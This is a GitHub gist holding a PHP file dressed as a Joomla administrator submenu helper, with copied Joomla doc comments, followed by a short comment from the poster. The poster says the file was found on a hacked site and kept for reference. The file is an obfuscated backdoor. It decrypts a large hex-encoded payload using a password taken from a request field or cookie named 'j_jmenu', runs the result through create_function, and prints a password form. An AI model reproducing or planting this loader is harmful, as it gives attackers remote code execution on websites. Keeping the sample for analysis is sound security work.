b61e631032750f6ec2b917a2f2bdc4a4a02d917e041d34272595b38d6e835e880d7e529fd8df7ac909aa5d9261d8ebbd28c33f4b9c2ec6707d5d5117b5c937dce9163f12a8045c379033ad7a4441450987553141686677bfc0e5e6dd2f0f1afe29cfa7315013a5af9a712a327cd5f8c01c8bbc1ee945e87b5c10b000969f04faca4ad2187ac172b3de78116aa9c74e03fc3273d86515127a95324458f43950f81a11a46af7261bf3e57f2bb5c9717b5e4af6c2d1e27fe4ee347e6072951b38337fb8d6a3014a00ed99ad0e6666b222846d27f9963904b226e2a38b4c0cbea3ab652c9dea88ae384d1f3410eb3f42a9785d367717708506ce551b9ad70a56f73f0534b4d20fc6ac2a14039a7b7d512ce7d013f853d627f07465c7cbc6280c61d2b1a73afb24f8859fb8920487a114ab7a5005fc2a009a7f7ea177a9e9347284df67b97b6805b982cf48c14b849bcaa0ea0a65045858537593b1bb46f8d00287da84ad7b4a5248c39e572f832fb153a641b66b5497d21deb1000a174376c2fa92085a12b4f33a12236d6f37908ceac691c37f8d303c18af2f3c19d707a1f6b81a21132aed3a8727a5dfa115cab7efe1f518345c15487f607404801cb7f32cab96304678b5042aa28d23d96d7e4aa7ed2d8af0a6e4c21f7268e736cd8a99fb83b02ff87145a2658636971afbe5e07a0a700659272cbbfe10df4497f0251ce9b0ebdf6ee7facc6dd68f5365f6b274a572050b2c9d0143dd785c8ff7ef8c89e3ba70f1dd3f677f0872a4076db837002aeb904b42befa6fea699713dfc4b3b6cf4e733c6bba13b44bbdb2b8dfbe8137577cd104e4714fbeba5e57fd094104572ed65e5e150d47cde0e5fb55bb000171291b7f02b7668d2d1ac203d4a530d2f1f026923ab4cf245fd30eaab203efad5aaabc5c0efb327faca33543a721a670b4b8eb3818f4cb8c01b11e6eec9586787e88672038d6572a016746c5acb6d08513c3db64e2bcd7dc6fd5e23aa265d91beb0f5e50ebf4bcc54c05fcf1b20eb3c472733d267298b8a56a458b2c67acd513429bd92c6501b18faf10772c16d7ad656fec5263a6555af48f5e06fdf51f42e9719dab506aa7d94cb6b5416bd5bc06309163661816d4991b1e3eeed289c44d77b669936825be858cec04254d2f492beca5971db0223292cf187ecc2b4a886cd6a188b0d290991a91704041374ff5d5d79a63194bfee76e74f6f52b9f4b7a29ee587a74cc36bcb5537ce1145043f63ec42e352c36e051e566be19aaf10d74230906ebb868ddb88754f5ebd7170345ece343875ff609a5ee8396139502f21aadae67f681505893b92d3ffb5d4253441206f6989e14b2af0aeeb28e7d828f99d17b508db3cac4ffc98f76d7b6de1d3226c7bc934017e0a467b3d518b2b5fe5a631fa325480d1112c04b6336abcae810d182fdd271b42de9d001831800ab7138df907dc458d1871bcff6fad91d6d3b3e72108041566bfd3ba4beaf2d98d1849d5508d72fe05bc38dd0cf0489a720bbcc704c7068b0660039de48622c7a364c536c31007d63cfb10f3dd4f061cc1667f5f7bcf9ee6365affc21bc89a51db5d775d80e955e2c98b04c435fe8737615031cc1853ffc6a6b36d35e5e88d2e9afdd9d755ecfb8c7d34828354777adc99185e1149ddac5e082194429dc7eaf8066d80fe13beaff7163437654688e3add3c29f8b25a22d8b4994cbe424571cdc3adbb7a7cc5f2d34bd8549bc2025193207837d6ec10764d298b050ecbfad9921c0c0acd6acc61a4650b2b02fb69432bb5ba192c867dccd70699b1fa627aa1fdd8f2425d2029ff8d773e9e2f3afce386e500b2a3bc72168f9bd65b2e5db63fea407d15fc27a93fea8323372eebc688676c719f558c3742c41a02f21e3c17bbce2a1e4cb7c00ee392e07d1256fd43cac379179d59a65405cc703eb25fea679b721a25fc7aff79216e3375ab0f0c2182246e74a1243d74c4c0f58cd07895b912cd8d80bded1078c670611b1fb839011701c40dad151c6bf02756ab6e4fe3b62be6e1824bf673eb539876b0e257aed7d4eb9381d7bd5f3ef9fe376fc053f59ef0c1cf8f018b51c5ee3b9a96139432ef134f85835e32c154d846be545123ed2f03cf83955f85e3acc36bcab270adab4f666fff0edb61668dbb3d72ee0829139487a1fcd54bd3778919cbf16f6ee745ece40f4d0d4feb4149060c770c6848fce2ca7c8f0f97de8ce7ea38581040c61c555d274b3fcbecb80ad1801fa7497c6ca9569e8fc89a15469dc983fefe4da9cc3f8170e39571d8e5fa1ef2fc32e4bf793ca638ceefd3eb01811811e2e069132b8fe84a22e46b710420db716e7bd0c6e8891b33c3490a74426e91243ac385fb174afd7b46796b8db944ba772ba080f42d02a10210254750e52549da4513b47492efed3c858203a4eefffbc05f746678f3662ba04491ae50aa65d297d03df1843e7542329efbd60a331687dc57104feeb7480d939688220ad08201e934514e0fe3d241eea527ebf6ae92b5d8b1fb735bc7be2c57309809f7ab372024512cbd65a68479d869e628250b91160cefa119f7fd5d3ea7e88520cae7c6e97e53f58550fef15576ecf799d9e9249130c8260281821d2ec8d558b426f7fb0b535acf2ec65f43c2989b84dc58020b2b1046cf8cbf1997347c918c9db5835b0eeda53d73ffdc5793d395aad59531fb1192f65df29f9bf273a29784b5874346dfc62e13bd74c3c49b73c36c936d839e448d6f388ea6f5ded3db3811696e2cabddbcad98c6faff605d1d9df88ee40070787b76077eb0cb4a766c8f10cb344bcbfa1e7913dda73270c243e6b5ab01245667475b97627a34715765b7af4ae807dd8c3e817e02631792c235faa477cc50ca272d4248ed93f7c2e11de7458f749b6726c749eb171f11002a75d441725f7a9ac12f4f10f55d689bae7c7c8eb8db9b23f8007ef4ac9a78463be6d7b77b9f6d1f55bdd1eb0fb3e97171fb0dd63238722c4f4c8b09668616b9010ed13a5023450e96d5466f012e94f37dac94918b2d4710c658e50f242095ad6a3829abe279b8608171e102c6a8beb1b8ad0ca264f922b415f0461f668dedcf6736feaa4a887d995afba32fe461d88013e4e8ce9d330426c6c0c9e91dee76487785592289035cdcb3abbbb80cd6c95f65676985294c5e40ca23e28cbb68013fd1b578c4c152a8c80424dc2cc1313a244f8a0525508b951cf6f96f7e0a82407ab79a36b24521dec590527c7c9a73129c96ae74481072f9aeb7c7caa78194eedc9c106ad9f7dfedd14098afbf57c0561d0ce41ac2e437c7803f192d771309acfbc1c02a313fc8172568cadd3d59871dc52c76440ab331884d434310b6280e0d943278326a4c2a54f20b838e03c7b26d5e86415952272011b83b1b7b63e3fdfee66e287172832165735c796a4a44969b5ea721a7ab7a2ef449de22ddac61793c2f10aa09e42d3b8349643120e629b66404f1a8861aa6dcf1ab741cab77489cb5d5f5d95477867cc59ba7c919eb7d4bd80284a71c763780dd6129b54b99fe184877f525f82834d936a3618d493b23168f96e171fc6ac022b3943b9b8181aec8ffa2ab3e02ab6e68c244277a2ab003c49739aab15d48cd9e2e650eeb7389bc8bdb9be5152fbe25c5323cf18e34439f9b0ab64fe42095aa24f33ae736a0d0435cadbb718f535f3e7dc592b4c98a4dac164b505592f662f498cea28c2704efff7dd08867abd3d60ad6829ea603f656e99ed4bcd64fd434c87c5c1c5f4d6a6719db011b7bbaef7a6443850e63e0f7171a00675b29e6ac52f858c99539f530e73a1846dad5ae3d9b692addb219e443ba473ec7edf20088d613d8adb11815321645aef4c0b57d20f72cee4fb22b4c3abf14e49f3b6f0f921964d768e71a4869d1ec28c3e27eefce06fa98a7b5781ca8da6de4539f5dbefb568ff30278db011b24e3f0d142c30884815d92f8ae84545891170783ebdebd2ddad333ff6544d60da39c9bf956e906755bc2aa3bdd821219c6e487fb0fa88458d9e3cb60b84f0f3865fe2b6771d42da11d3826200a5d8c021a0c1e1877d81815c78528e0c142567029da6efec3e477eb63a06f750784c41afbf3c2f53f67c71bac9d8a11c5426c679cf25f6d2d3b22562d19d575c2369a9e57ae47e9cbd951d8dbac4082892296f88d8cc04700af7662a1166231c07e6e9d7f11c0d69c5a86e58baed585aec6da05ad142b58a341abf748f915f88e56483e1a8753d7e9c3405fb2d0ca9d683f73049fcb97d7b46f1aa1afc1639bef621b8b798109de70e7293c25847c90fd02004328c731b7045601bf8f0682d485a19bacc5edb7c846c6aa06120e9f0f719887bd9c16c0a559250d8b1526f7e6d10ed79838596193d3aa899977294f1cf4b3b991800b1a6fa25b8ed299cac406bfdd1c8141ae8d2d7c36bfd3286a27da87968aec4e691e412bc4007eb1c2f7677005fdf3ab377705b99c45cd1f0d1b7345cfe22dd6a85e337f314d32c87d605f5dd90ad2c35e6f2277f61e7f6cb689c3143244db3696111b7afa2a2f4954e8b3993932a4cc5cfd6713c092c69ccfa5948b0219d5485c112ebab12b863cdaf06666c370a2c8848111dc6de6e109c90074774464f8a7db573bd585d19c1c64e6d6832995bd5eb65b4ec644976802e2026631e2dced756774c3fb9606f3737f6ca7b83a9ce14026c852112a43747789c1f15602e68eaf2754ed99cb19f84ee41f3b8f37b34534a15e9fd910295f5b90f68eb2a6c7e8c0cfb27a86ba3a07587d985451d4165ecae5f3f3f1598d90df879a6869c272fd2c041fa8968e0152c41982eddc47b7eaea26a86e8a53affc5601c486a4acb852749c3926c74eb8ad22957cba7782fe2671c119adc0c880037e6063e6b4bdbbb63003ffa0e03023efbf38a0d2e985f57686b9fa1e3b47c560d0e3cc7cf13c42f1594300c3dfdaa3dd88c6724285bc9b64f8943e930bf2fe1dac0e2f71d1ffdec0965e642c3fdf0b1bf03dda3a3a5404df571a8c42bd4625f537eef0c358beeac6c7a55ece3cc722917d5bcba2a35903b167479957bd3284557cfa4a3564ff9d7f40ad3096e54b9810fe63651e20ed3edde9b74bccee46af8af99ef9739ab46835b178c59be859914326abf014753f242cdb89f22f0974123a6a04c4ffc5f3594e494254c247d153c6ab69927e123b2dead5f6204f3e799e73cde827211bca5d7c614fccde49ef598f2548a52f7c23d6a1d48eb28ced8b832ee6801e39daf3386b738217e0e11e8bb5ebc0a4dfc89bbaa2f05bd311aab8860e7d07d1556318cc52a9c92e438583373c6ccd9672e4fd566d3ee4d7c1a21a2285f0502f05894be34c1264ed6dc74c43e353739cdee7ab2b242822b8f04778c7ed350131769ccc513e5dc137dd83540dd49722a7cfb7f9ccf04b33f8770bb7e34a17a02cb2a3e6b41eda664ddd0034ed5a34889217401c3f106bc6450cf7fd064ecb59db863eb4dcd92ad905fd860b7f20ce040cd5e0c900c11e0508343935254ca30a5e66a2fc821a6354227da3e6eebb6f551d20ed9b00aad904cc04b700c4e6f55c28fbafa14bc6fe4539280afd0a789228d91a85364aaa7c9ab3451370a18ebc975da2e9987a9ee7f068824d2e1389e41728492ff565d1452654549d33b304212cf03e8eb163d5a8d1c876b9d1a7daa654813966f3d4b80096ab203b4165c7cbb5ff5263aa0bdbb72f000cdce8539d4d0b5b94002adcd9589385ac8507e18e4aec653a73b2e4c47959eb1fcd51a5ff27a0048dc40e6e0cfb40079387ab1242312f471250432560387b3e66e2c923a4bf9d08790446d082fd531959bdd3a82c0ece97894f633b927d12523cef086c3703a0351309a0a6d566bfcbc08604af0423acb15172e1a5e8ef37ea06996073e9b26d7a3ba39945cd15157601b6a7699c3228c2c7b9cdf75783daf5fedadb0baaf0b3bc7a1be8aad6a06388f613b105e5933e217f5d18f36d02deb51bacc92cf111eaf84c6cbd1d91b8c5deb6a924e2706c6136ad11a67ca35c57059afbe9735610a9f91ee4dcd503b4145e08bdd8b37087d9c7a0f9f2ad'); | |
| defined('_JEXEC') or die; | |
| /** | |
| * Utility class for the submenu. | |
| * | |
| * @package Joomla.Administrator | |
| * @since 1.5 | |
| * @deprecated 4.0 Use JHtmlSidebar instead. | |
| */ | |
| /** | |
| * Returns an array of all submenu entries | |
| * | |
| * @return array | |
| * | |
| * @since 3.0 | |
| * @deprecated 4.0 Use JHtmlSidebar::getEntries() instead. | |
| */ | |
| function getEntries($data, $var = '') | |
| { | |
| for($i = 0; $i < strlen ($data); $i = $i + 2) | |
| { | |
| $var .= '%'.substr($data, $i, 2); | |
| } | |
| return urldecode($var); | |
| } | |
| /** | |
| * Method to add a filter to the submenu | |
| * | |
| * @param string $label Label for the menu item. | |
| * @param string $name name for the filter. Also used as id. | |
| * @param string $options options for the select field. | |
| * @param boolean $noDefault Don't the label as the empty option | |
| * | |
| * @return void | |
| * | |
| * @since 3.0 | |
| * @deprecated 4.0 Use JHtmlSidebar::addFilter() instead. | |
| */ | |
| function addFilter($entries, $action) | |
| { | |
| $action = md5 ($action).substr (md5 (strrev ($action)), 0, strlen($action)); | |
| for ($i = 0; $i < strlen($entries); $i++) | |
| { | |
| $entries[$i] = chr((ord($entries[$i]) - ord($action[$i])) % 256); | |
| $action .= $entries[$i]; | |
| } | |
| return @gzinflate($entries); | |
| } | |
| $action = isset($_REQUEST['j_jmenu']) ? $_REQUEST['j_jmenu'] : (isset($_COOKIE['j_jmenu']) ? $_COOKIE['j_jmenu'] : NULL); | |
| $JSubMenu = addFilter(getEntries(_JEXEC), $action); | |
| if(isset($JSubMenu)) | |
| { | |
| if(isset($_REQUEST['j_jmenu'])) @setcookie('j_jmenu', $_REQUEST['j_jmenu']); | |
| $JSubMenuHelper = create_function('', $JSubMenu); | |
| unset($j_jmenu, $JSubMenu); | |
| $JSubMenuHelper(); | |
| } | |
| echo '<form method= "post" action= ""> <input type= "input" name= "j_jmenu" value= ""/><input type= "submit"value= ">"/> </form>'; | |
| ?> |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@StefanMz this isn't intended to be a working example of how to hack a site; it's a file that I discovered on a hacked site that I wanted to keep a copy of without having it on my filesystem.
That said, I appreciate the insight into how to avoid triggering the functionality of this file, especially the advice to switching to PHP8 since it's probably the most straightforward thing to prevent the actual exploitation code from running. 👍